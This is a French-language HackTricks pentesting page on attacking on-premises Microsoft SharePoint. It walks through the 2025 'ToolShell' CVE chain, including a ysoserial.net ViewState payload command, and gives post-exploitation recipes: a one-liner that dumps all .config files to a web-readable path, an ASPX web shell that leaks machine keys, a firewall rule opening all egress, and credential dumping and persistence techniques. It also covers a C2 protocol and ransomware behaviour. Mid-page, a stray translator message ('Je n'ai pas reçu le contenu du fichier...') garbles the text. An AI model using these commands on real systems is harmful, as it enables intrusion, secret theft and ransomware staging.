Microsoft SharePoint – Pentesting & Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Microsoft SharePoint (on-premises) est construit sur ASP.NET/IIS. La plupart de la surface d’attaque web classique (ViewState, Web.Config, web shells, etc.) est donc présente, mais SharePoint fournit également des centaines de pages ASPX propriétaires et de web services qui élargissent considérablement la surface d’attaque exposée. Cette page rassemble des astuces pratiques pour énumérer, exploiter et persister dans des environnements SharePoint en mettant l’accent sur la chaîne d’exploitation 2025 divulguée par Unit42 (CVE-2025-49704/49706/53770/53771).

1. Énumération rapide

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. Chaîne d’exploit 2025 (alias “ToolShell”)

2.1 CVE-2025-49704 – Injection de code sur ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permet d’injecter du code Server-Side Include arbitraire dans la page, qui est ensuite compilé par ASP.NET. Un attaquant peut insérer du C# qui exécute Process.Start() et déposer un ViewState malveillant.

2.2 CVE-2025-49706 – Contournement d’authentification

La même page fait confiance à l’en-tête X-Forms_BaseUrl pour déterminer le contexte du site. En le pointant vers /_layouts/15/, la MFA/SSO appliquée au site racine peut être contournée sans authentification.

2.3 CVE-2025-53770 – Désérialisation ViewState non authentifiée → RCE

Une fois que l’attaquant contrôle un gadget dans ToolPane.aspx, il peut poster une valeur __VIEWSTATE non signée (ou MAC-only) qui déclenche la désérialisation .NET à l’intérieur de w3wp.exe, menant à l’exécution de code.

Si la signature est activée, volez la ValidationKey/DecryptionKey depuis n’importe quel web.config (voir 2.4) et forgez le payload avec ysoserial.net ou ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Pour une explication approfondie sur l’abus de ASP.NET ViewState, lisez :

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

L’envoi d’un paramètre Source spécialement conçu à ToolPane.aspx (par ex. ../../../../web.config) renvoie le fichier ciblé, permettant la divulgation de :

  • <machineKey validationKey="…" decryptionKey="…"> ➜ permettre de forger ViewState / cookies ASPXAUTH
  • chaînes de connexion & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point a cartographié comment Ink Dragon a opérationnalisé la chaîne ToolShell des mois avant que Microsoft ne publie de correctifs :

  • Header spoofing for auth bypass – l’acteur envoie des POSTs à /_layouts/15/ToolPane.aspx avec Referer: https://<victim>/_layouts/15/ plus un faux X-Forms_BaseUrl. Ces en-têtes convainquent SharePoint que la requête provient d’un layout de confiance et contournent complètement l’authentification frontale (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – le body inclut des données ViewState/ToolPart contrôlées par l’attaquant qui atteignent le server-side formatter vulnérable (CVE-2025-49704/CVE-2025-53770). Le payload est généralement une chaîne ysoserial.net qui s’exécute dans w3wp.exe sans jamais toucher le disque.
  • Internet-scale scanning – la télémétrie de juillet 2025 montre qu’ils énumèrent chaque endpoint accessible /_layouts/15/ToolPane.aspx et rejouent un dictionnaire de paires <machineKey> leaked. Tout site ayant copié un validationKey d’exemple depuis la documentation peut être compromis même s’il est par ailleurs entièrement patché (voir la page ViewState pour le signing workflow).
  • Immediate staging – une exploitation réussie dépose un loader ou un PowerShell stager qui : (1) dump tous les web.config, (2) plante un ASPX webshell en guise d’accès de secours, et (3) planifie un Potato privesc local pour s’échapper de l’IIS worker.

3. Post-exploitation — recettes observées sur le terrain

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Le fichier résultant debug_dev.js peut être téléchargé anonymement et contient toute la configuration sensible.

3.2 Déployer une Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Exemple de payload décodé (abrégé) :

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Je n’ai pas reçu le contenu du fichier. Collez ici le texte de src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md et je le traduirai en français en respectant les consignes.

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Même shell mais :

  • déposé sous ...\15\TEMPLATE\LAYOUTS\
  • les noms de variables réduits à une seule lettre
  • Thread.Sleep(<ms>) ajouté pour évasion de sandbox et contournement AV basé sur le timing.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

Des investigations récentes d’incident-response (Unit42 “Project AK47”) montrent comment des attaquants exploitent la chaîne ToolShell après la RCE initiale pour déployer un implant C2 à double canal et un ransomware dans des environnements SharePoint :

AK47C2 – dnsclient variant

  • Serveur DNS en dur : 10.7.66.10 communiquant avec le domaine autoritatif update.updatemicfosoft.com.
  • Les messages sont des objets JSON XOR-encrypted avec la clé statique VHBD@H, hex-encoded et embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Les requêtes longues sont fragmentées et préfixées par s, puis réassemblées côté serveur.
  • Le serveur répond via des enregistrements TXT utilisant le même schéma XOR/hex :
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • La version 202504 a introduit un format simplifié <COMMAND>::<SESSION_KEY> et des marqueurs de chunks 1, 2, a.

AK47C2 – httpclient variant

  • Réutilise exactement la même routine JSON & XOR mais envoie le blob hex dans le HTTP POST body via libcurl (CURLOPT_POSTFIELDS, etc.).
  • Même workflow tâche/résultat permettant :
  • Exécution arbitraire de commandes shell.
  • Intervalle de sleep dynamique et instructions de kill-switch.

X2ANYLOCK ransomware

  • Payload C++ 64-bit chargé via DLL side-loading (voir ci‑dessous).
  • Utilise AES-CBC pour les données fichiers + RSA-2048 pour envelopper la clé AES, puis ajoute l’extension .x2anylock.
  • Chiffre récursivement les lecteurs locaux et les partages SMB découverts ; ignore les chemins système.
  • Dépose une note en clair How to decrypt my data.txt contenant un Tox ID statique pour les négociations.
  • Contient un kill-switch interne :
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. L’attaquant écrit dllhijacked.dll/My7zdllhijacked.dll à côté d’un 7z.exe légitime.
  2. Le w3wp.exe lancé par SharePoint exécute 7z.exe, qui charge la DLL malveillante à cause de l’ordre de recherche Windows, invoquant le point d’entrée du ransomware en mémoire.
  3. Un loader LockBit séparé observé (bbb.msiclink_x86.execlink_dll_x86.dll) décrypte du shellcode et effectue du DLL hollowing dans d3dl1.dll pour exécuter LockBit 3.0.

[!INFO] Le même Tox ID statique trouvé dans X2ANYLOCK apparaît dans leaked LockBit databases, suggérant un recoupement d’affiliés.

3.5 Turning SharePoint loot into lateral movement

  • Décrypter chaque section protégée – une fois établi sur la couche web, abuser de aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (ou -px "appSettings") pour dumper les secrets en clair cachés derrière <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon a à plusieurs reprises récolté des logins SQL, des relais SMTP et des identifiants de services personnalisés de cette façon.
  • Recycler les comptes d’app-pool à travers les fermes – de nombreuses entreprises réutilisent le même compte de domaine pour IIS APPPOOL\SharePoint sur chaque front-end. Après avoir décrypté les blocs identity impersonate="..." ou lu ApplicationHost.config, tester les identifiants via SMB/RDP/WinRM sur chaque serveur pair. Dans plusieurs incidents le compte était aussi un administrateur local, permettant psexec, sc create, ou la mise en place de tâches planifiées sans déclencher de password sprays.
  • Abuser des leaked <machineKey> values en interne – même si le périmètre internet est patché, réutiliser les mêmes validationKey/decryptionKey permet une exploitation ViewState latérale entre zones SharePoint internes qui se font confiance.

3.6 Persistence patterns witnessed in 2025 intrusions

  • Tâches planifiées – une tâche one-shot nommée SYSCHECK (ou d’autres noms thématiques santé) est créée avec /ru SYSTEM /sc once /st <hh:mm> pour bootstrapper le loader de l’étape suivante (souvent un conhost.exe renommé). Étant donné qu’elle s’exécute une seule fois, la télémétrie la manque souvent sauf si le XML historique de la tâche est conservé.
  • Services masqués – des services tels que WindowsTempUpdate, WaaSMaintainer, ou MicrosoftTelemetryHost sont installés via sc create pointant vers le répertoire de la triade de sideloading. Les binaires gardent leurs signatures AMD/Realtek/NVIDIA d’origine mais sont renommés pour correspondre à des composants Windows ; comparer le nom sur disque avec le champ PE OriginalFileName est un contrôle d’intégrité rapide.

3.7 Host firewall downgrades for relay traffic

Ink Dragon ajoute régulièrement une règle sortante permissive qui se fait passer pour une maintenance Defender afin que le trafic ShadowPad/FinalDraft puisse sortir sur n’importe quel port:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Parce que la règle est créée localement (pas via GPO) et utilise le binaire légitime Defender comme program=, la plupart des baselines SOC l’ignorent, pourtant elle ouvre Any ➜ Any egress.


Astuces associées

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks